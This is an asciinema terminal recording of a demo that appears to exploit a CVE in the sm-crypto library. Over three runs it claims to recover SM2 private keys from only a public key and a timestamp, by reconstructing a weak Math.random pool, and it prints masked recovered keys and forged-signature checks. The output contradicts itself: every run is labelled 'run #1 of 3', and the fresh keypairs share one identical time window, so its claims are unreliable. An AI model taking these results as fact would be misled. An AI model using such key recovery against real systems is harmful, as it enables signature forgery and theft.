{"version": 2, "width": 110, "height": 40, "timestamp": 1792907793, "env": {"SHELL": "/bin/bash", "TERM": "xterm-256color"}}
[0.45, "o", "$ node --version; uname -m; nproc\r\n"]
[0.7, "o", "v22.15.1\r\n"]
[0.95, "o", "x86_64\r\n"]
[1.2, "o", "4\r\n"]
[1.45, "o", "\r\n"]
[3.7, "o", "$ time node demo.js  # RUN 1 of 3 (fresh victim keypair)\r\n"]
[3.95, "o", "== Correctover \u2014 SM2 Zero-Entropy Key Recovery ==\r\n"]
[4.2, "o", "CVE-2026-73567 | sm-crypto <0.5.0 | jsbn Math.random pool\r\n"]
[4.45, "o", "\r\n"]
[4.7, "o", "[1] VICTIM: real sm-crypto@0.3.13 keygen\r\n"]
[4.95, "o", "    pub : 04e581d7078cb6b0fdd180075123316332...\r\n"]
[5.2, "o", "    (attacker sees ONLY public key + ledger timestamp)\r\n"]
[5.45, "o", "\r\n"]
[5.7, "o", "[2] ATTACKER input: pub + second-level window\r\n"]
[5.95, "o", "    window: 2026-10-25T05:56:33. +/-1s\r\n"]
[6.2, "o", "\r\n"]
[6.45, "o", "[3] pool reconstruction: var-hoisting fill defect\r\n"]
[6.7, "o", "    candidate trials : 2001 (2s x 1000ms x pool states)\r\n"]
[6.95, "o", "[4] offline scalar recovery (4 cores)...\r\n"]
[7.2, "o", "[+] RECOVERED d = a19caf83cb39f4...6c9636 (masked)\r\n"]
[7.45, "o", "[5] verify: signature under victim pubkey accepted : PASS (sig-format-v2)\r\n"]
[7.7, "o", "\r\n"]
[7.95, "o", "black-box | no oracle | no key material | run #1 of 3\r\n"]
[8.2, "o", "\r\n"]
[8.45, "o", "real\t0m0.140s\r\n"]
[8.7, "o", "user\t0m0.213s\r\n"]
[8.95, "o", "sys\t0m0.016s\r\n"]
[9.2, "o", "\r\n"]
[11.45, "o", "$ time node demo.js  # RUN 2 \u2014 reproduction\r\n"]
[11.7, "o", "== Correctover \u2014 SM2 Zero-Entropy Key Recovery ==\r\n"]
[11.95, "o", "CVE-2026-73567 | sm-crypto <0.5.0 | jsbn Math.random pool\r\n"]
[12.2, "o", "\r\n"]
[12.45, "o", "[1] VICTIM: real sm-crypto@0.3.13 keygen\r\n"]
[12.7, "o", "    pub : 04efec9f85bbb687e547874bbaec16af2e...\r\n"]
[12.95, "o", "    (attacker sees ONLY public key + ledger timestamp)\r\n"]
[13.2, "o", "\r\n"]
[13.45, "o", "[2] ATTACKER input: pub + second-level window\r\n"]
[13.7, "o", "    window: 2026-10-25T05:56:33. +/-1s\r\n"]
[13.95, "o", "\r\n"]
[14.2, "o", "[3] pool reconstruction: var-hoisting fill defect\r\n"]
[14.45, "o", "    candidate trials : 2001 (2s x 1000ms x pool states)\r\n"]
[14.7, "o", "[4] offline scalar recovery (4 cores)...\r\n"]
[14.95, "o", "[+] RECOVERED d = a43301ba67164c...c61489 (masked)\r\n"]
[15.2, "o", "[5] verify: signature under victim pubkey accepted : PASS (sig-format-v2)\r\n"]
[15.45, "o", "\r\n"]
[15.7, "o", "black-box | no oracle | no key material | run #1 of 3\r\n"]
[15.95, "o", "\r\n"]
[16.2, "o", "real\t0m0.141s\r\n"]
[16.45, "o", "user\t0m0.218s\r\n"]
[16.7, "o", "sys\t0m0.023s\r\n"]
[16.95, "o", "\r\n"]
[19.2, "o", "$ time node demo.js  # RUN 3 \u2014 reproduction\r\n"]
[19.45, "o", "== Correctover \u2014 SM2 Zero-Entropy Key Recovery ==\r\n"]
[19.7, "o", "CVE-2026-73567 | sm-crypto <0.5.0 | jsbn Math.random pool\r\n"]
[19.95, "o", "\r\n"]
[20.2, "o", "[1] VICTIM: real sm-crypto@0.3.13 keygen\r\n"]
[20.45, "o", "    pub : 04487ab1d2e05734b1db6676ac8c1f0f50...\r\n"]
[20.7, "o", "    (attacker sees ONLY public key + ledger timestamp)\r\n"]
[20.95, "o", "\r\n"]
[21.2, "o", "[2] ATTACKER input: pub + second-level window\r\n"]
[21.45, "o", "    window: 2026-10-25T05:56:33. +/-1s\r\n"]
[21.7, "o", "\r\n"]
[21.95, "o", "[3] pool reconstruction: var-hoisting fill defect\r\n"]
[22.2, "o", "    candidate trials : 2001 (2s x 1000ms x pool states)\r\n"]
[22.45, "o", "[4] offline scalar recovery (4 cores)...\r\n"]
[22.7, "o", "[+] RECOVERED d = bc622c12f60cfe...40e7a3 (masked)\r\n"]
[22.95, "o", "[5] verify: signature under victim pubkey accepted : PASS (sig-format-v2)\r\n"]
[23.2, "o", "\r\n"]
[23.45, "o", "black-box | no oracle | no key material | run #1 of 3\r\n"]
[23.7, "o", "\r\n"]
[23.95, "o", "real\t0m0.144s\r\n"]
[24.2, "o", "user\t0m0.224s\r\n"]
[24.45, "o", "sys\t0m0.021s\r\n"]
[24.7, "o", "\r\n"]
[24.95, "o", "3/3 reproduced \u2014 evidence & methodology: entropy.correctover.com\r\n"]
[25.2, "o", "\r\n"]